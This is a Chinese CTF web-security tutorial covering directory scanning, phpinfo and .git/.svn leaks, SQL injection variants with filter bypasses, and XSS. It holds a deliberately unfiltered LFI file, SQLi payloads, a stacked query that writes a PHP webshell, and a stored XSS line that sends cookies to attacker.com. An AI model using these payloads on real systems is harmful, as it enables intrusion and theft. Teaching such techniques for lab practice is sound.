一、信息泄露

(1)目录遍历

1.基础定义:
目录遍历(也叫路径遍历、目录爆破),本质是通过工具或手动方式,暴力枚举网站服务器上存在但未公开的目录 / 文件,目的是找到敏感路径、后台入口、配置文件、Flag 文件等突破点。
在 CTF 场景中,题目会把flag藏在某个未公开的目录或文件里,比如/flag.txt、/admin/flag.php,而目录遍历就是找到它的第一步。

(2) 工具篇

1. dirsearch(Python 命令行工具)

工具定位:dirsearch 是跨平台的命令行目录扫描工具,基于 Python 开发,支持自定义字典、多线程、多后缀扫描,是 CTF 和渗透测试中最常用的开源工具之一。
安装与配置:

# 方式1:Git直接克隆(推荐,自动获取最新版)
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch/
# 安装依赖
pip3 install -r requirements.txt

如果物理机网络问题,也可以在 GitHub 下载 ZIP 包,解压后复制到虚拟机 / 目标环境。

3.PHPinfo 泄露

什么是phpinfo.php?
phpinfo.php是一个 PHP 脚本文件,调用phpinfo()函数,会输出服务器的 PHP 配置信息,包括:
PHP 版本、服务器系统信息;
配置文件路径、环境变量;
已加载的扩展、临时文件目录;
以及部分敏感配置(如disable_functions、open_basedir)

实战练习:
步骤一:在根目录新建文件phpinfo.php内容为:

<?php
// 标准 phpinfo 信息泄露
phpinfo();

// 下面是 CTF 风格隐藏 flag,模拟真实泄露场景
$flag = "ctf{phpinfo_leak_test_2026_success}";

// 把 flag 藏进环境变量(CTF 最常见藏法)
putenv("FLAG=$flag");

// 再藏进 PHP 变量
$_SERVER['FLAG'] = $flag;
$_ENV['FLAG'] = $flag;

// 再藏进 PHP 变量表
$GLOBALS['flag_here'] = $flag;
?>

步骤二:准备一个配套 LFI 漏洞文件lfi.php

<?php
// 无任何过滤的本地文件包含漏洞,配合 phpinfo 练手
if(isset($_GET['file'])){
    include($_GET['file']);
}
?>

步骤三:
访问:http://127.0.0.1/phpinfo.php http://127.0.0.1/lfi.php
在这里插入图片描述
**进阶实战练习:**在 phpinfo 里找 flag
步骤一:打开 phpinfo.php,按 Ctrl + F 搜索
flag
在这里插入图片描述
步骤二:滑动到页面最底部会直接看到一行文字就是所需要的flag
在这里插入图片描述

4.get泄露

核心定义:
Git 是开发者最常用的版本控制工具,项目的所有版本记录、代码变更、文件历史都会保存在项目根目录下的.git文件夹中。
Git 泄露利用工具:
dvcs-ripper:物理地址下载链接https://github.com/kost/dvcs-ripper/tree/master

将压缩包复制到kali虚拟机中进行解压:

cd ~/Desktop
unzip dvcs-ripper-master.zip
cd dvcs-ripper-master/

完成之后进行安装依赖,准备使用

# 更新软件源
sudo apt update
# 安装Perl依赖
sudo apt install perl liblwp-useragent-determined-perl libio-socket-ssl-perl -y

验证工具是否可以正常使用:

./rip-git.pl -h

输出帮助信息,说明工具安装成功
在这里插入图片描述
工具安装好后,就可以用它还原泄露的 Git 仓库:

# 还原目标网站的.git泄露
./rip-git.pl -u http://目标地址/.git

实战练习:

步骤 1:创建项目并初始化 Git 仓库

# 新建项目目录
mkdir -p ~/Desktop/git-leak-ctf && cd ~/Desktop/git-leak-ctf

# 初始化Git仓库
git init

在这里插入图片描述
步骤 2:创建包含 Flag 的文件并提交

# 创建index.php,写入Flag(模拟真实CTF场景)
cat > index.php << 'EOF'
<?php
// 正常业务代码
echo "Welcome to the Git Leak Test Site!";
// Flag藏在源代码里,浏览器访问不会直接显示
$flag = "ctf{git_leak_2026_practice_success}";
?>
EOF

# 提交文件到Git
git add index.php
git commit -m "Initial commit: add index.php with flag"

在这里插入图片描述
步骤 3:创建一个带历史变更的版本(模拟开发者误删敏感信息)

# 修改index.php,删除Flag(模拟开发者误删敏感信息)
cat > index.php << 'EOF'
<?php
echo "Welcome to the Git Leak Test Site!";
?>
EOF

# 提交修改
git add index.php
git commit -m "remove flag from index.php"

步骤 4:启动临时 Web 服务,暴露.git 目录

# 在项目目录下启动Python Web服务,端口8001,如果端口被占据,可以换一个新的
python3 -m http.server 8001

在这里插入图片描述
步骤五:启动 dirsearch,执行目录扫描,重点找.git 目录

python dirsearch.py -u http://127.0.0.1:8001 -w /usr/share/wordlists/dirb/common.txt -e php -i 200

在这里插入图片描述
如果扫描出现一下:

[XX:XX:XX] 200 -  100B  - /.git/config
[XX:XX:XX] 200 -  200B  - /.git/index

说明已经成功发现了 Git 泄露漏洞。
步骤六:执行 dvcs-ripper 还原代码
在dvcs-ripper 中执行还原命令:

./rip-git.pl -v -u http://127.0.0.1:8001/.git -o ./git-leak-result

会在当前目录看到一个新文件夹 git-leak-result,里面就是还原好的项目代码。
进入还原目录:

cd ./git-leak-result

在这里插入图片描述
显示已经找到正确的flag

五、SVN泄露

SVN 泄露是什么?(和 Git 的核心区别)
SVN 全称是 Subversion,是一种集中式的版本控制系统。
开发者使用 svn checkout 或 svn update 来同步代码时,项目根目录下会自动生成一个隐藏的 .svn 文件夹,里面包含了完整的版本控制信息、文件变更历史。
**漏洞成因:**服务器部署时没有删除 .svn 目录,也没有配置访问控制,导致攻击者可以直接下载并还原整个项目的源代码。
和 Git 泄露的区别:
Git 是分布式的,每个仓库有完整的 .git 目录。
SVN 是集中式的,.svn 目录通常只在本地工作副本中存在,一旦被部署到线上,危害同样巨大。
漏洞危害:
**泄露完整源代码:**攻击者可以直接还原出项目的所有文件,分析业务逻辑、寻找漏洞。
**获取历史提交记录:**通过 SVN 的版本历史,可以还原出开发者误提交的敏感信息(如数据库密码、API 密钥、Flag)。
**结合其他漏洞利用:**还原的代码可能包含 SQL 注入、文件上传等漏洞,攻击者可以直接利用拿下服务器权限。
实战练习(和 Git 泄露流程差不多):
步骤 1:安装 SVN

sudo apt update && sudo apt install subversion -y

步骤二:创建项目并初始化仓库

mkdir -p ~/Desktop/svn-leak-ctf && cd ~/Desktop/svn-leak-ctf
svnadmin create ./repo

步骤三:导出工作副本并提交代码

svn co file://$PWD/repo ./workspace
cd ./workspace

# 创建带 Flag 的 index.php
cat > index.php << 'EOF'
<?php
echo "Welcome to the SVN Leak Test Site!";
$flag = "ctf{svn_leak_2026_practice_success}";
?>
EOF

# 提交代码
svn add index.php
svn commit -m "Initial commit: add index.php with flag"

# 修改代码,删除 Flag
cat > index.php << 'EOF'
<?php
echo "Welcome to the SVN Leak Test Site!";
?>
EOF

# 再次提交
svn commit -m "remove flag from index.php"

步骤四:启动 Web 服务(暴露 .svn 目录)

cd ./workspace
python3 -m http.server 8002

步骤五:发现 SVN 泄露漏洞(用 dirsearch 扫描目标,重点关注 .svn 路径)

cd ~/Desktop/dirsearch-master
source venv/bin/activate

python dirsearch.py -u http://127.0.0.1:8002 -w /usr/share/wordlists/dirb/common.txt -e php,html -i 200

在这里插入图片描述
步骤六:从还原代码中找回 Flag
先回到 dvcs-ripper-master 目录
先执行还原命令(生成 svn-leak-result 文件夹)

./rip-svn.pl -v -u http://127.0.0.1:8002/.svn -o ./svn-leak-result

查看 SVN 历史,找回 Flag

# 查看所有版本记录
svn log -v

# 查看第一次提交的代码(包含Flag)
svn cat -r 1 index.php

在这里插入图片描述

二、Sqli理论基础部分

基本原理:SQL 注入,就是攻击者通过恶意构造用户输入,欺骗服务器执行非预期的 SQL 语句,从而泄露、篡改或删除数据库数据的漏洞。
HTTP 请求流程:
主要是客户端主机(Client Host) 和 服务器主机(Server Host) 两部分,核心链路是:浏览器(前端) → 服务器容器 → 后端应用(PHP引擎) → 数据库(DB)
PHP SQL查询的主要三种方式:
mysql拓展(了解为主,逐渐被废弃)
mysqli扩展
pdo扩展

(1)mysqli拓展

mysqli 是 mysql 扩展的升级版,支持面向对象过程式两种写法:

步骤 方法 / 操作 作用
1 new mysqli() 初始化 MySQL 对象,建立连接
2 $mysqli->select_db() 选择要操作的数据库
3 $mysqli->query() 执行 SQL 查询
4 $res->fetch_assoc() 从结果集中获取一行数据(关联数组)
5 $mysqli->close() 关闭数据库连接

两种写法对比:
1.直接拼接 SQL(存在注入风险)

<?php
// 1. 初始化MySQL对象
$mysqli = new mysqli('localhost', 'root', 'password', 'test_db');
if ($mysqli->connect_error) {
    die('连接失败: ' . $mysqli->connect_error);
}

// 2. 选择数据库(也可以在new时直接指定)
$mysqli->select_db('test_db');

// 3. 接收用户输入并直接拼接SQL(高危!)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$res = $mysqli->query($sql);

// 4. 获取结果
if ($row = $res->fetch_assoc()) {
    echo "用户名: " . $row['username'];
}

// 5. 关闭连接
$mysqli->close();
?>

攻击者输入 id=1 OR 1=1,就能查询出所有用户数据,注入原理和旧扩展完全一致。
2.使用预处理语句(完全防御注入)
mysqli 最大的优势就是支持预处理 / 参数化查询,能从根本上防御 SQL 注入:

<?php
$mysqli = new mysqli('localhost', 'root', 'password', 'test_db');
if ($mysqli->connect_error) {
    die('连接失败: ' . $mysqli->connect_error);
}

$id = $_GET['id'];

// 1. 准备预处理语句(用?作为占位符)
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");

// 2. 绑定参数:i表示整数类型,把$id绑定到第一个?
$stmt->bind_param("i", $id);

// 3. 执行查询
$stmt->execute();

// 4. 获取结果
$res = $stmt->get_result();
if ($row = $res->fetch_assoc()) {
    echo "用户名: " . $row['username'];
}

// 5. 关闭连接和预处理语句
$stmt->close();
$mysqli->close();
?>

预处理会把 SQL 语句和用户数据分开解析,用户输入永远不会被当成 SQL 代码执行;
即使攻击者输入恶意数据,也只会被当成普通字符串处理,无法修改 SQL 逻辑

(2)PDO扩展

PDO(PHP Data Objects)是 PHP 的通用数据库抽象层,它提供了一套统一的接口,支持 MySQL、PostgreSQL、SQLite 等多种数据库。
优势:更换数据库时,代码几乎不用修改
核心亮点:原生支持预处理 / 参数化查询,能从根本上防御 SQL 注入

步骤 方法 / 操作 作用
1 new PDO() 初始化数据库连接,通过 DSN 字符串指定数据库类型、主机、库名
2 $pdo->prepare() 准备预处理 SQL 语句,用占位符(?或:name)代替用户输入
3 $stmt->bindValue() 绑定参数到占位符,也可以直接在execute()中传入数组
4 $stmt->execute() 执行预处理语句
5 $stmt->fetch() 获取查询结果(如PDO::FETCH_ASSOC表示关联数组)
6 $pdo = null 关闭连接,回收资源

完整代码示例(安全写法):

<?php
// 1. 初始化PDO连接(DSN格式:数据库类型:host=主机;dbname=库名;charset=utf8)
$dsn = 'mysql:host=localhost;dbname=test;charset=utf8';
$pdo = new PDO($dsn, 'root', 'password');

// 2. 准备预处理语句(用:id作为命名占位符)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");

// 3. 绑定参数并执行(直接传入数组,比bindValue更简洁)
$id = $_GET['id'];
$stmt->execute(['id' => $id]);

// 4. 获取结果
if ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
    echo "用户名: " . $row['username'];
}

// 5. 关闭连接
$pdo = null;
?>

PDO 的安全,依赖于正确使用预处理语句。如果像下面这样直接拼接 SQL,依然会有注入风险:

// ❌ 危险写法:直接拼接SQL,PDO也防不住注入
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$stmt = $pdo->query($sql);

三、Union注入

核心是用 UNION SELECT 拼接两条查询语句,把原本查不到的数据 “强行合并” 到结果里,让页面直接把数据库的敏感信息(库名、表名、字段值)回显出来。
1.Union 注入的完整步骤

测试语句 现象 结论
id=1’ 页面报错 / 无返回 说明原 SQL 是单引号闭合的字符串类型,存在注入点
`id=1’ ‘1’='1` 页面正常返回 逻辑运算生效,确认注入点有效
id=1’ and sleep(3)# 页面延迟 3 秒 时间盲注也生效,注入点非常可靠

2. 过滤字符测试
Union 注入最关键的是绕过过滤,提前测试哪些字符被过滤了:
单双引号 ’ ":如果被过滤,没法闭合语句了
注释符 # --:如果被过滤,后面的语句无法截断
关键字 UNION SELECT OR AND:如果被过滤,需要用大小写变形、内联注释绕过
3.字段猜测
目的:确定原查询的列数,以及哪些列有回显。
测列数(用 order by),order by n 会按第 n 列排序,如果列数不存在就会报错。

-- 原查询是 SELECT id,username FROM users WHERE id = '$id'
id=1' order by 3 #

测回显位置(用 union select)
id=1' union select 1,2 #
3.利用 information_schema 库拿数据
查当前数据库信息

-- 查版本、当前用户、当前数据库
id=1' union select 1,version(),user(),database() #

查所有数据库名

-- 用 limit 逐个查
id=1' union select 1,2,schema_name from information_schema.schemata limit 0,1 #

-- 用 group_concat 一次性查所有库名
id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata #

查目标库的所有表名

id=1' union select 1,2,table_name from information_schema.tables where table_schema='level1' limit 0,1 #

查目标表的所有字段名

id=1' union select 1,2,column_name from information_schema.columns where table_schema='level1' and table_name='secrets' limit 0,1 #

查具体数据(比如 Flag)

id=1' union select 1,2,hex(secret) from level1.secrets limit 0,1 #

四、过滤绕过

(1)过滤关键字(SELECT/UNION等)

1.内联注释绕过 /**/,利用 MySQL 的内联注释特性,在关键字中间插入注释,破坏检测规则:

sel/**/ect 1,2 from users;
uni/**/on sel/**/ect 1,2 from users;

2.大小写变形绕过,MySQL 的关键字不区分大小写,而很多检测是大小写敏感的:

SelEct 1,2 from users;
UNioN sElEcT 1,2 from users;

3.双写绕过
如果过滤规则是把关键字替换为空,可以通过双写的方式,让中间的部分被吃掉后,剩余的字符拼接成完整关键字:

-- 原过滤规则:把 "select" 替换为空
seleselectct 1,2 from users;

4.编码绕过
省略

(2)过滤逗号 ,

1.JOIN 绕过
用 JOIN 连接多个子查询,替代逗号分隔的列:

-- 原语句(有逗号)
union select 1,2,3 from users;

-- 绕过语句(无逗号)
union select * from (select 1)a join (select 2)b join (select 3)c;

2.FROM … FOR 语法(用于字符串截取函数)
用 substr(str FROM pos FOR len) 替代 substr(str, pos, len):

-- 原语句(有逗号)
substr('flag',1,1);

-- 绕过语句(无逗号)
substr('flag' FROM 1 FOR 1);
mid('flag' FROM 1 FOR 1);

3.LIMIT … OFFSET 绕过
用 LIMIT 1 OFFSET 1 替代 LIMIT 1,1:

-- 原语句(有逗号)
select * from users limit 1,1;

-- 绕过语句(无逗号)
select * from users limit 1 offset 1;

(3)过滤空格

1.空白字符替代
MySQL 会忽略某些空白字符,可以直接用这些字符替代空格:
%09(Tab 键)
%0A(换行符)
%0B(垂直制表符)
%0C(换页符)
%0D(回车符)
%A0(非断空格)
2.内联注释替代
用 /**/ 替代空格:

select/**/1,2/**/from/**/users;

3.括号替代
用括号把 SQL 语句包裹起来,不需要空格也能正常解析:

select(1),(2)from(users);

(4)过滤等号=

等号常用于 where name=‘flag’,被过滤后可以用以下替代:
1.LIKE 替代
LIKE 在匹配字符串时和 = 效果相同(没有通配符的情况下):

-- 原语句
select flag from users where name='flag';

-- 绕过语句
select flag from users where name like 'flag';

2.IN 操作符

select flag from users where name in ('flag');

3.BETWEEN … AND

select flag from users where name between 'flag' and 'flag';

(5)过滤比较符(>/<)

被过滤后可以用以下函数或操作符替代:
1.GREATEST() / LEAST() 函数

-- 替代 a > b
greatest(a,b)=a;

2.STRCMP() 函数
STRCMP(str1, str2) 会返回:
0:str1 = str2
1:str1 > str2
-1:str1 < str2

-- 替代 a = b
strcmp(a,b)=0;

3.逻辑运算符替代
AND → &&
OR → ||
NOT → !
XOR → |

(6)实战技巧

组合绕过:真实场景中往往是多种过滤同时存在,需要组合使用以上技巧。
比如:

-- 过滤了空格、逗号、select
uni/**/on sel/**/ect*from(select(1)a join(select(2)b);

六、报错注入

核心原理:报错注入的本质是构造一条会让数据库报错的语句,把你想查询的数据(库名、表名等),拼接在报错信息里,数据库返回错误时,会把拼接的数据一起显示出来。
前提条件:
网站开启了 SQL 错误回显(PHP 未关闭 display_errors)
注入点可以执行 SQL 语句(比如字符串类型注入点)
两种最常用的报错函数:
1.extractvalue() 报错注入
extractvalue(xml, xpath) 用于从 XML 文档中提取数据,当 xpath 参数不合法时,会抛出错误并显示参数内容。

and extractvalue(1, concat(0x7e, (你的查询语句), 0x7e))

2.updatexml() 报错注入
updatexml(xml, xpath, new_xml) 用于更新 XML 文档,当 xpath 参数不合法时,同样会抛出错误。

and updatexml(1, concat(0x7e, (你的查询语句), 0x7e), 1)

七、盲注

(1)布尔盲注

核心定义:当 SQL 注入的环境不直接返回数据结果,但能通过页面的「正常 / 异常状态」(也就是 true/false)判断语句是否执行成功时,我们用的就是布尔盲注。
页面正常→ 条件为true
页面异常→ 条件为false
布尔盲注的核心函数与语法:

函数 作用 示例
substring(str, pos, len) 从字符串str的第pos位开始,截取长度为len的子串 substring(database(),1,1) → 截取当前数据库名的第 1 个字符
ascii(char) 把字符转为对应的 ASCII 码数字 ascii(‘a’) → 97
if(cond, true_val, false_val) 条件判断,条件为真返回true_val,否则返回false_val if(1=1,1,0) → 1

(2)时间盲注

核心定义:当注入环境没有任何回显、也没有布尔状态差异(true 和 false 的页面完全一样)时,我们通过sleep()/benchmark()等函数让 SQL 执行延时,再根据页面响应时间来判断条件是否为真。

条件为true → 触发延时,页面响应变慢
条件为false → 不触发延时,页面正常响应

时间盲注的核心函数与语法:

函数 作用 示例
sleep(n) 让 SQL 语句执行暂停 n 秒 sleep(5) → 延时 5 秒
if(cond, true_val, false_val) 条件判断,条件为真时执行true_val,否则执行false_val if(1=1, sleep(5), 1) → 延时 5 秒

基础语法模板:
以猜解数据库名长度为例:

and if(length(database())=4, sleep(5), 1)

页面响应时间 > 5 秒 → 条件为true,数据库名长度为 4
页面正常响应 → 条件为false,长度不是 4
逐位猜解模板:

and if(ascii(substring(database(), 第几位, 1))=115, sleep(5), 1)

页面延时 5 秒 → 条件为true,当前位的字符 ASCII=115(即s)
页面正常响应 → 条件为false,字符不是s

八、盲注进阶

实际上盲注的本质就两步:
1.构造布尔条件:让 SQL 语句能区分「真 / 假」(或者「延时 / 不延时」)
2.构造逻辑判断:用字符串截取函数,把数据库里的字符一个个猜出来

(1)构造布尔条件:
核心:条件为真时页面正常,条件为假时页面异常。
1.基础模板:

-- 最常用的基础格式,适合id=1这样的数字型注入
?id=1 and {bool}

-- 字符型注入(比如name=admin),用单引号闭合
?name=admin' or {bool}#

{bool} 就是你的布尔条件,比如 1=1(真)、length(database())=4(猜库名长度)
2.过滤空格、注释符(#、–)
服务器如果把空格、注释给拦了,就用括号代替空格,用=代替注释闭合:

?id=1 and({bool})=1
?name=admin' or({bool})=1--

3.过滤or、and、注释符
用||代替or,用&&代替and
用^!()取反来构造条件

?id=1 ^!({bool})='1
?id=1 ||({bool})='1

4.过滤等号(=)
用<>、in、like、regexp来代替等号:

?id=1 or({bool})<>0
?id=1 or(({bool}) in(1)) or'0

(2)构造逻辑判断条件

  1. 基础字符串截取函数
函数 作用 示例
substr(str, pos, len) 从str的第pos位开始,截取len个字符 substr(database(),1,1) → 取库名第 1 个字符
mid(str, pos, len) 和substr完全一样,写法不同 mid(user(),1,1) → 取用户名第 1 个字符
left(str, len) 取str的前len个字符 left(database(),1) → 取库名第 1 个字符
right(str, len) 取str的后len个字符 right(database(),1) → 取库名最后 1 个字符
2.过滤逗号(substr(str,pos,len) 里的逗号被拦了)
用 SQL 的FROM…FOR语法代替逗号:
mid(user() from 1 for 1)  -- 等价于 mid(user(),1,1)
mid(user() from 1)        -- 从第1位开始取到末尾,用来猜单个字符

九、堆叠注入

1.核心原理: 在 SQL 中,分号 ; 是用来结束一条语句的。 如果服务器支持执行多条 SQL 语句,我们就可以用 ; 结束原语句,再拼接一条恶意语句,让服务器一次性执行多条命令。
正常请求:id=1 → 执行 select * from products where productid=1
恶意请求:id=1; DELETE FROM products → 服务器会执行两条语句:
select * from products where productid=1(原语句)
DELETE FROM products(恶意语句,删除整个表)

2.堆叠注入 vs 联合注入

特性 堆叠注入 联合注入
语句类型 支持任意 SQL 语句(查询、删除、修改、创建表、写文件等) 仅支持查询语句(SELECT)
作用 不仅能查数据,还能删库删表、修改数据、甚至写 WebShell 只能联合查询,把其他表的数据拼接到结果里
示例 id=1; DROP TABLE users;(直接删表) id=1 union select 1,username,password from users(只能查数据)
风险 极高,可直接控制数据库 仅泄露数据

实战示例:

假设目标注入点:http://www/index.php?id=1,且支持堆叠注入。
步骤一:验证堆叠注入是否存在

http://target.com/index.php?id=1; show databases;

如果页面返回了所有数据库名,说明支持堆叠注入。

步骤二:执行恶意语句

http://www/index.php?id=1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/backdoor.php';

执行后,访问 http://www/backdoor.php?cmd=id 即可执行系统命令。

十、二次注入

核心定义: 二次注入是一种「分两次执行的 SQL 注入攻击」:
第一次(插入阶段): 用户输入被 addslashes() 等函数转义(比如单引号’变成’),存入数据库,看起来是安全的。
第二次(取出阶段): 程序从数据库取出之前存入的数据,拼接进新的 SQL 语句时,没有再次转义,导致原本被转义的单引号恢复功能,触发 SQL 注入。

攻击原理拆解:
以注册场景为例,完整流程是:
注册时: 输入用户名 admin’#,程序用 addslashes() 转义后,存入数据库的是 admin’#(转义后的单引号)。
重置密码时: 程序从数据库取出 admin’#(此时转义符号\会被 MySQL 解析掉,恢复为admin’#),拼接进 SQL 语句:

UPDATE users SET password='newpass' WHERE username='admin'#';

这里的#会把后面的语句注释掉,实际执行的 SQL 变成:

UPDATE users SET password='newpass' WHERE username='admin';

直接修改了admin用户的密码,攻击成功。

十一、XSS(跨站脚本)

XSS 全称 Cross Site Scripting(跨站脚本攻击),本质是一种「前端注入攻击」:
攻击者把恶意脚本注入到页面中,当用户访问该页面时,脚本会在用户的浏览器里执行,从而窃取信息、劫持用户行为。
核心危害:
盗取用户 Cookie,直接登录账号
篡改页面内容、钓鱼诈骗
执行恶意代码、挂马、劫持浏览器
内网渗透、蠕虫式扩散(存储型 XSS)
三大类型:
反射型(非持久型)
存储型(持久型)
DOM 型(客户端型)

(1)反射型 XSS(非持久型)
核心特点:
一次性攻击: 脚本不会存入服务器,只会在用户点击特制链接时触发
典型场景:搜索框、URL 参数、留言板临时展示
必须欺骗用户点击攻击链接,攻击成本较高
示例:
比如搜索页面:http://target.com/search.php?q=你好
果 q 参数没有过滤,攻击者可以构造链接:

http://target.com/search.php?q=<script>alert(document.cookie)</script>

用户点击链接后,页面会直接弹出自己的 Cookie,攻击者就能拿到登录态。
(2)存储型 XSS(持久型)
核心特点:
永久存在: 脚本会存入服务器数据库,所有访问该页面的用户都会触发
典型场景:评论区、个人资料、论坛帖子、留言板
攻击面广、危害极大,甚至能形成 “XSS 蠕虫” 扩散攻击
示例:
在论坛评论区提交内容:

<script>
  // 自动把访问者的Cookie发送到攻击者服务器
  new Image().src = "http://attacker.com/steal?c=" + document.cookie;
</script>

这条评论存入数据库后,每个访问帖子的用户,Cookie 都会被自动发送给攻击者。
(3) DOM 型 XSS(客户端型)
核心特点:
纯前端执行: 不依赖服务器响应,完全由客户端 JavaScript 处理
典型场景:URL 锚点、location.hash、document.referrer 等 DOM 对象
脚本在本地执行,服务器日志不会留下痕迹,隐蔽性强
示例:
页面代码:

<script>
  // 直接把URL参数拼接到页面中
  let name = new URLSearchParams(location.search).get("name");
  document.write("欢迎你:" + name);
</script>

攻击者构造链接:

http://target.com/welcome.html?name=<script>alert(document.cookie)</script>

用户点击后,浏览器会直接解析并执行脚本,服务器完全不知情。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐